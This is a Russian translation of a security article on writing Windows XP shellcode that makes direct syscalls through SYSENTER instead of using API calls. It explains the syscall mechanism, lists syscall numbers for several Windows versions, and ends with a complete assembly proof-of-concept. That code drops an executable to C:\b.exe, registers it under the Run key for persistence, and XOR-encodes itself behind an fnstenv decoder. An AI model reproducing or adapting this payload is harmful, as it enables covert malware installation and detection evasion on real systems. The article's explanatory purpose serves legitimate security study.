Это статья написана в качестве демонстрации возможности написания шеллкода для операционных систем Windows без использования каких-либо API-вызовов. В этой статье мы рассмотрим создание подобного шеллкода, а также пример его применения.
Автор Пётр Бания (Piotr Bania), Securityfocus.com, перевод SecurityLab.
Рассмотренный шеллкод тестировался в операционной системе Windows XP SP1. Следует заметить, что у способа написания шеллкода есть несколько подходов в зависимости от операционной системы и уровня сервис-пака. Это будет обсуждаться по ходу статьи.
Верна ли наша теория, что шеллкод можно написать без стандартных вызовов API? Ну, для некоторых API она верна, а для некоторых нет. Существует много API, которые делают свою работу, не обращаясь за помощью к NT API. Чтобы это доказать, рассмотрим API GetCommandLineA, взятый из KERNEL32.DLL:
.text:77E7E358 ; --------------- S U B R O U T I N E ------------------------- .text:77E7E358 .text:77E7E358 .text:77E7E358 ; LPSTR GetCommandLineA(void) .text:77E7E358 public GetCommandLineA .text:77E7E358 GetCommandLineA proc near .text:77E7E358 mov eax, dword_77ED7614 .text:77E7E35D retn .text:77E7E35D GetCommandLineA endpЭта API процедура не использует никаких внешних вызовов. Единственное что она делает – возвращает указатель на командную строку программы. Теперь рассмотрим пример, относящийся к нашей теории. Далее следует часть дизассемблированного API TerminateProcess:
.text:77E616B8 ; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode) .text:77E616B8 public TerminateProcess .text:77E616B8 TerminateProcess proc near ; CODE XREF: ExitProcess+12 j .text:77E616B8 ; sub_77EC3509+DA p .text:77E616B8 .text:77E616B8 hProcess = dword ptr 4 .text:77E616B8 uExitCode = dword ptr 8 .text:77E616B8 .text:77E616B8 cmp [esp+hProcess], 0 .text:77E616BD jz short loc_77E616D7 .text:77E616BF push [esp+uExitCode] ; 1st param: Exit code .text:77E616C3 push [esp+4+hProcess] ; 2nd param: Handle of process .text:77E616C7 call ds:NtTerminateProcess ; NTDLL!NtTerminateProcessКак видно, API TerminateProcess передает аргументы, а затем выполняет NtTerminateProcess, экспортированную из NTDLL.DLL. NTDLL.DLL является NT API. Другими словами, функция, начинающаяся с «Nt» называется NT API (некоторые из них являются также ZwAPI – посмотрите, что экспортируется из NTDLL.DLL). Теперь рассмотрим NtTerminateProcess:
.text:77F5C448 public ZwTerminateProcess .text:77F5C448 ZwTerminateProcess proc near ; CODE XREF: sub_77F68F09+D1 p .text:77F5C448 ; RtlAssert2+B6 p .text:77F5C448 mov eax, 101h ; syscall number: NtTerminateProcess .text:77F5C44D mov edx, 7FFE0300h ; EDX = 7FFE0300h .text:77F5C452 call edx ; call 7FFE0300h .text:77F5C454 retn 8 .text:77F5C454 ZwTerminateProcess endpЭтот NT API помещает номер системного вызова (syscall) в EAX и вызывает память по адресу 7FFE0300h:
7FFE0300 8BD4 MOV EDX,ESP 7FFE0302 0F34 SYSENTER 7FFE0304 C3 RETNИ это раскрывает суть нашей теории – EDX теперь содержит указатель стека, EAX содержит системный вызов (syscall), который требуется выполнить. Инструкция SYSENTER выполняет быстрый вызов системной процедуры нулевого уровня, которая выполняет оставшуюся задачу.
MOV EAX, SyscallNumber ; requested syscall number LEA EDX, [ESP+4] ; EDX = params... INT 2Eh ; throw the execution to the KM handler RET 4*NUMBER_OF_PARAMS ; returnТеперь нам известны способы системных вызовов для Windows 2000 и XP, но в своем шеллкоде я буду использовать следующий метод:
push fn ; push syscall number pop eax ; EAX = syscall number push eax ; this one makes no diff call b ; put caller address on stack b: add [esp],(offset r - offset b) ; normalize stack mov edx, esp ; EDX = stack db 0fh, 34h ; SYSENTER instruction r: add esp, (param*4) ; normalize stackSYSENTER была впервые представлена в процессорах Intel Pentium II. Автор не уверен, но можно догадаться, что SYSENTER не поддерживается процессорами Athlon. Чтобы узнать, возможна ли эта инструкция на каком-либо процессоре, используйте инструкцию CPUID вместе с проверкой флага SEP и специфическими проверками семейства/модели/наследования. Во пример такой проверки для процессоров Intel:
IF (CPUID SEP bit is set) THEN IF (Family = 6) AND (Model < 3) AND (Stepping < 3) THEN SYSENTER/SYSEXIT_NOT_SUPPORTED FI; ELSE SYSENTER/SYSEXIT_SUPPORTED FI;Конечно, это не единственное отличие в разных версиях Windows – номера системных вызовов также меняются в зависимости от версии, как показано в следующей таблице:
Syscall symbol NtAddAtom NtAdjustPrivilegesToken NtAlertThread Windows NT SP 3 0x3 0x5 0x7 SP 4 0x3 0x5 0x7 SP 5 0x3 0x5 0x7 SP 6 0x3 0x5 0x7 Windows 2000 SP 0 0x8 0xa 0xc SP 1 0x8 0xa 0xc SP 2 0x8 0xa 0xc SP 3 0x8 0xa 0xc SP 4 0x8 0xa 0xc Windows XP SP 0 0x8 0xb 0xd SP 1 0x8 0xb 0xd SP 2 0x8 0xb 0xd Windows 2003 Server SP 0 0x8 0xc 0xe SP 1 0x8 0xc 0xeТаблицы номеров системных вызовов доступны в Интернете. Читателю рекомендуется ознакомиться с экземпляром с сайта www.metasploit.com, хотя другие экземпляры также рекомендуются.
У этого способа есть и недостатки:
Шеллкод в конце этой статьи делает дамп файла, а затем делает запись в реестр. Записанный в реестр ключ запускает наш файл после перезагрузки системы. Вы можете спросить, почему бы не запустить файл сразу, не делая записей в реестр? Выполнение приложений Win32 посредством системных вызовов не простая задача – не думайте, что NtCreateProcess сделает это. Посмотрим, что требуется сделать API CreateProcess, чтобы выполнить приложение:
The shellcode - Proof Of Concept comment $ ----------------------------------------------- WinNT (XP) Syscall Shellcode - Proof Of Concept ----------------------------------------------- Written by: Piotr Bania http://pb.specialised.info $ include my_macro.inc include io.inc ; --- CONFIGURE HERE ----------------------------------------------------------------- ; If you want to change something here, you need to update size entries written above. FILE_PATH equ "\??\C:\b.exe",0 ; dropper SHELLCODE_DROP equ "D:\asm\shellcodeXXX.dat" ; where to drop ; shellcode REG_PATH equ "\Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Run",0 ; ------------------------------------------------------------------------------------ KEY_ALL_ACCESS equ 0000f003fh ; const value _S_NtCreateFile equ 000000025h ; syscall numbers for _S_NtWriteFile equ 000000112h ; Windows XP SP1 _S_NtClose equ 000000019h _S_NtCreateSection equ 000000032h _S_NtCreateKey equ 000000029h _S_NtSetValueKey equ 0000000f7h _S_NtTerminateThread equ 000000102h _S_NtTerminateProcess equ 000000101h @syscall macro fn, param ; syscall implementation local b, r ; for Windows XP push fn pop eax push eax ; makes no diff call b b: add [esp],(offset r - offset b) mov edx, esp db 0fh, 34h r: add esp, (param*4) endm path struc ; some useful structs p_path dw MAX_PATH dup (?) ; converted from C headers path ends object_attributes struc oa_length dd ? oa_rootdir dd ? oa_objectname dd ? oa_attribz dd ? oa_secdesc dd ? oa_secqos dd ? object_attributes ends pio_status_block struc psb_ntstatus dd ? psb_info dd ? pio_status_block ends unicode_string struc us_length dw ? dw ? us_pstring dd ? unicode_string ends call crypt_and_dump_sh ; xor and dump shellcode sc_start proc local u_string :unicode_string ; local variables local fpath :path ; (stack based) local rpath :path local obj_a :object_attributes local iob :pio_status_block local fHandle :DWORD local rHandle :DWORD sub ebp,500 ; allocate space on stack push FILE_PATH_ULEN ; set up unicode string pop [u_string.us_length] ; length push 255 ; set up unicode max string pop [u_string.us_length+2] ; length lea edi,[fpath] ; EDI = ptr to unicode file push edi ; path pop [u_string.us_pstring] ; set up the unciode entry call a_p1 ; put file path address a_s: db FILE_PATH ; on stack FILE_PATH_LEN equ $ - offset a_s FILE_PATH_ULEN equ 18h a_p1: pop esi ; ESI = ptr to file path push FILE_PATH_LEN ; (ascii one) pop ecx ; ECX = FILE_PATH_LEN xor eax,eax ; EAX = 0 a_lo: lodsb ; begin ascii to unicode stosw ; conversion do not forget loop a_lo ; to do sample align lea edi,[obj_a] ; EDI = object attributes st. lea ebx,[u_string] ; EBX = unicode string st. push 18h ; sizeof(object attribs) pop [edi.oa_length] ; store push ebx ; store the object name pop [edi.oa_objectname] push eax ; rootdir = NULL pop [edi.oa_rootdir] push eax ; secdesc = NULL pop [edi.oa_secdesc] push eax ; secqos = NULL pop [edi.oa_secqos] push 40h ; attributes value = 40h pop [edi.oa_attribz] lea ecx,[iob] ; ECX = io status block push eax ; ealength = null push eax ; eabuffer = null push 60h ; create options push 05h ; create disposition push eax ; share access = NULL push 80h ; file attributes push eax ; allocation size = NULL push ecx ; io status block push edi ; object attributes push 0C0100080h ; desired access lea esi,[fHandle] push esi ; (out) file handle @syscall _S_NtCreateFile, 11 ; execute syscall lea ecx,[iob] ; ecx = io status block push eax ; key = null push eax ; byte offset = null push main_exploit_s ; length of data call a3 ; ptr to dropper body s1: include msgbin.inc ; dopper data main_exploit_s equ $ - offset s1 a3: push ecx ; io status block push eax ; apc context = null push eax ; apc routine = null push eax ; event = null push dword ptr [esi] ; file handle @syscall _S_NtWriteFile, 9 ; execute the syscall mov edx,edi ; edx = object attributes lea edi,[rpath] ; edi = registry path push edi ; store the pointer pop [u_string.us_pstring] ; into unicode struct push REG_PATH_ULEN ; store new path len pop [u_string.us_length] call a_p2 ; store the ascii reg path a_s1: db REG_PATH ; pointer on stack REG_PATH_LEN equ $ - offset a_s1 REG_PATH_ULEN equ 7eh a_p2: pop esi ; esi ptr to ascii reg path push REG_PATH_LEN pop ecx ; ECX = REG_PATH_LEN a_lo1: lodsb ; little ascii 2 unicode stosw ; conversion loop a_lo1 push eax ; disposition = null push eax ; create options = null push eax ; class = null push eax ; title index = null push edx ; object attributes struct push KEY_ALL_ACCESS ; desired access lea esi,[rHandle] push esi ; (out) handle @syscall _S_NtCreateKey,6 lea ebx,[fpath] ; EBX = file path lea ecx,[fHandle] ; ECX = file handle push eax pop [ecx] ; nullify file handle push FILE_PATH_ULEN - 8 ; push the unicode len ; without 8 (no '\??\') push ebx ; file path add [esp],8 ; without '\??' push REG_SZ ; type push eax ; title index = NULL push ecx ; value name = NULL = default push dword ptr [esi] ; key handle @syscall _S_NtSetValueKey,6 ; set they key value dec eax push eax ; exit status code push eax ; process handle ; -1 current process @syscall _S_NtTerminateProcess,2 ; maybe you want ; TerminateThread instead? ssc_size equ $ -offset sc_start sc_start endp exit: push 0 @callx ExitProcess crypt_and_dump_sh: ; this gonna' xor ; the shellcode and mov edi,(offset sc_start - 1) ; add the decryptor mov ecx,ssc_size ; finally shellcode file ; will be dumped xor_loop: inc edi xor byte ptr [edi],96h loop xor_loop _fcreat SHELLCODE_DROP,ebx ; some of my old crazy _fwrite ebx,sh_decryptor,sh_dec_size ; io macros _fwrite ebx,sc_start,ssc_size _fclose ebx jmp exit sh_decryptor: ; that's how the decryptor xor ecx,ecx ; looks like mov cx,ssc_size fldz sh_add: fnstenv [esp-12] ; fnstenv decoder pop edi add edi,sh_dec_add sh_dec_loop: inc edi xor byte ptr [edi],96h loop sh_dec_loop sh_dec_add equ ($ - offset sh_add) + 1 sh_dec_size equ $ - offset sh_decryptor end start
Дальнейшее чтение